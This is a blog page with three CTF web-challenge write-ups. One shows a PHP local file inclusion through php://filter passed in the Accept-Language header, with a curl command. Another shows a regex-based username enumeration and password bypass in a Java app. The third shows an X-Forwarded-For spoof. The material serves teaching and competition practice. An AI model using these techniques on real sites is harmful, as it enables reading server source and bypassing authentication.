[TWCTF-2016: Web] Global Page Writeup

Standard

Challenge description: 
Welcome to TokyoWesterns’ CTF!


As I entered the challenge I faced a three items list – two links and a strikethrough word:.

I clicked the tokyo link, which was actually a GET request with a parameter named page in index.php. In response I got a page with PHP error and information from Wikipedia about Tokyo, printed in Hebrew – my mother tongue.

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening ‘tokyo/en-US.php’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/globalpage/index.php on line 41

First thing to come in mind is a LFI attack, but before making any reckless time-wasting moves, let’s first figure it all out. The page uses include() to, well, include the page “en-US.php” from folder named tokyo. The page wasn’t existed so an error was thrown. I tried pages like “en.php”, “he.php” and “jp.php” and they did exist. The page “ctf” displayed similar behaviors. Seems like all the pages display their information based on the user’s or the browser’s language.

The second thing I tested was the page’s reactions to different values. I tried the value “?page=flag” and it returned the expected error:

Warning: include(flag/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening ‘flag/en-US.php’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/globalpage/index.php on line 41
Warning: include(flag/en.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening ‘flag/en.php’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/globalpage/index.php on line 41

I then understood the page was trying to include the language file and every value that I’ll set to “page” will be a folder. I tested the page with the value “../../../etc/passwd” with and without a null-byte terminator but failed due to the sanitize of dots and slashes the page performs.

But how does the page know my language? It took me a while to figure it out. The page took my language settings from the “Accept-Language” field in the request’s header. I tried to change Accept-Language to something else using a Firefox plugin called Tamper Data and it worked! Any value I’ll put there will change the requested page. For example if I request “?page=Mega” and set Accept-Language to “beets” it would return the errors:

Warning: include(Mega/beets.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening ‘Mega/beets.php’ for inclusion (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/globalpage/index.php on line 41

I combined it all together to perform a well known LFI attack using php://filter. I set the parameter value to “php:” and the Accept-Language field to “/filter/convert.base64-encode/resource=index”. This function encodes the page with Base64 before including it. And indeed I got “index.php” encoded with base64. The decoded page looks like this:

As you can see on the top of the code there is an included page named “flag.php”. I changed the Accept-Language accordingly to “/filter/convert.base64-encode/resource=flag” and received the encoded page. Decode it to reveal the flag:

TWCTF{I_found_simple_LFI}

By the way, you can also solve it the “Curl” way:

 curl 'http://globalpage.chal.ctf.westerns.tokyo/?page=php:' -H "Accept-Language:/filter/convert.base64-encode/resource=flag"

 

megabeets_inline_logoEat Veggies.

[CTF(x) 2016 : WEB] Harambehub – 100 pts Writeup

Standard

Challenge description:
This website was created in honor of harambe: http://problems.ctfx.io:7003
Problem author: omegablitz
HarambeHub.java
User.java

This challenge was the second in the Web category and it actually was the first time I’ve ever seen something like that. We are given with a url, which returns an empty page and two source-files written in Java for Spark Framework. Make sure you read the given source-files before you continue.

The main file, HarambeHub.java, contains two methods which are actually get() and post() routes to two different pages, as you can see below:

public class HarambeHub {
    public static void main(String[] args) {
        post("/users", (req, res) -> {
            String username = req.queryParams("username");
            String password = req.queryParams("password");
            String realName = req.queryParams("real_name");
           ...
        });
		
        get("/name", (req, res) -> {
            String username = req.queryParams("username");
            String password = req.queryParams("password");
      	...
        });
    }
}

Reading both source files we understand the application is capable of creating a new account and to retrieve the real_name of a user if you know its username and password.

Let’s try to register a new user, using a simple Powershell code:

(Invoke-WebRequest "http://problems.ctfx.io:7003/users" -Method POST -Body @{username="Megabeets"; password="VeggiesAreGood"; real_name="Itay Cohen"}).Content

We results with “OK: Your username is “[Member] Megabeets””. As you can see, the text “[Member] “ has been added to the username we supplied. By reading the function that handles the registration process we understand that we can register a user with that name again and again. Executing the exact same code results with the exact same answer: “OK: Your username is “[Member] Megabeets””. Let’s try this again but this time with “[Member] Megabeets” in the username. Now we end up with an error saying: “FAILED: User with that name already exists!”.

Let’s take a look at the code that checks if a given username already exists:

...
for (User user : User.users) {
                if(user.getUsername().matches(username)) {
                    return "FAILED: User with that name already exists!";
                }
            }
            new User("[Member]	 " + username, password, realName);
            return "OK: Your username is \"" + "[Member] " + username + "\"";
...

As you can see, the code compares the two strings in attempt to check whether the username exists, but it uses String.matches() instead of String.equals(). The method String.matches() checks the match of a string to a regular rxpression pattern. Keep this in mind, it’s the key to solving the challenge. If false is returned, it creates a new User with the username “[Member] <username>”, just as we’ve seen before.

But what happens if we try to register a user with a regular expression as its desired username? Does it say that the username already exists? Let’s play with it a little bit and see what we get when sending “.*” as the password (“.*” is the regex pattern to anything).

(Invoke-WebRequest "http://problems.ctfx.io:7003/users" -Method POST -Body @{username=".*"; password="VeggiesAreGood"; real_name="Itay Cohen"}).Content

As expected, we received the error: “FAILED: User with that name already exists!”.

Now let’s take a look at the function that retrieves the real_name of a given username.

public boolean verify(String username, String password) {
        return this.username.equals(username) && this.master.matches(password);
    }

This function also uses String.matches() to compare the given password with the user’s password. Let’s see it in action:

Invoke-WebRequest "http://problems.ctfx.io:7003/name" -Method Get -Body @{username="[Member] Megabeets"; password="VeggiesAreGood"}

We results with: “Itay Cohen”.

Good. Now we’ll send the same request but this time with wildcard as the password.

Invoke-WebRequest "http://problems.ctfx.io:7003/name" -Method Get -Body @{username="[Member] Megabeets"; password=".*"}

We again results with: “Itay Cohen”.

Let’s sum up what we have understood until now:

  1. We can get the real_name of any user if we know its username.
  2. We can understand if username already exists by using regular expressions.

That’s mean that we need to run through all the possible usernames till we find the user which his password is the flag. My gut feeling tells me the username will probably start with “[Admin]”.

I’ll do a simple test to check whether indeed a user begins with “[Admin]” exists. If so, only the developer can add a user with such a username because every registered username is prepend with “[Member]”.

(Invoke-WebRequest "http://problems.ctfx.io:7003/users" -Method POST -Body @{username="^\[Admin\].*"; password="pass"; real_name="Itay Cohen"}).Content

FAILED: User with that name already exists!”.

I wrote a simple script to automate the process. May the bruteforce be with us.

Results:

Match found: \[Admin\] A
Match found: \[Admin\] Ar
Match found: \[Admin\] Arx
Match found: \[Admin\] Arxe
Match found: \[Admin\] Arxen
Match found: \[Admin\] Arxeni
Match found: \[Admin\] Arxenix
Match found: \[Admin\] Arxenixi
Match found: \[Admin\] Arxenixis
Match found: \[Admin\] Arxenixisa
Match found: \[Admin\] Arxenixisal
Match found: \[Admin\] Arxenixisalo
Match found: \[Admin\] Arxenixisalos
Match found: \[Admin\] Arxenixisalose
Match found: \[Admin\] Arxenixisaloser

It seems like we’ve found the username. Let’s get its real_name:

(Invoke-WebRequest "http://problems.ctfx.io:7003/name?username=\[Admin\] Arxenixisaloser; password=.*").content

And we got the flag:

ctf(h4r4mb3_d1dn1t_d13_4_th1s_f33ls_b4d)

megabeets_inline_logoEat Veggies.

Harambe the Gorilla was a 17-year-old Western lowland silverback gorilla who was shot and killed at the Cincinnati Zoo after a child fell into his enclosure in late May 2016. The incident was wildly criticized online by many who blamed the child’s parents for the gorilla’s untimely death.

RIP Harambe.

[CTF(x) 2016 : WEB] north korea – 50 pts Writeup

Standard

Description:
What is North Korea hiding?
http://problems.ctfx.io:7002/

Entering the URL I faced with only a sentence:
“We, the Democratic People’s Republic of Korea, have developed a revolutionary new security standard. The West doesn’t stand a chance.”

That’s all? I took a look at the source code (ctrl+u) to see if something is hiding, and indeed I saw a hidden button and a simple script:

<button hidden type="button">Retrieve nuclear codes</button>
<span></span>
<script type="text/javascript">
$(function() {
	$("button").click(function() {
		$.get('code', function(code) {
			$('span').text(code);
		});
	});
});
</script>

I clicked the button and it gave me the content of “http://problems.ctfx.io:7002/code” which was a message: “Nice try kiddo”.
Well, I took a look again at the first message: “…The West doesn’t stand a chance.”. What about the north? What if i”ll set the X-Forwarded-For to North Korea’s IP? X-Forwarded-For is the conventional way of identifying the originating IP address of the user connecting to the web server coming from either a HTTP proxy, load balancer.

Curl --header 'X-Forwarded-For: 175.45.176.0' -i http://problems.ctfx.io:7002/code -k -L

And the response came with the flag:
ctf(jk_we_aint_got_n0_nuk35)

megabeets_inline_logoEat Veggies.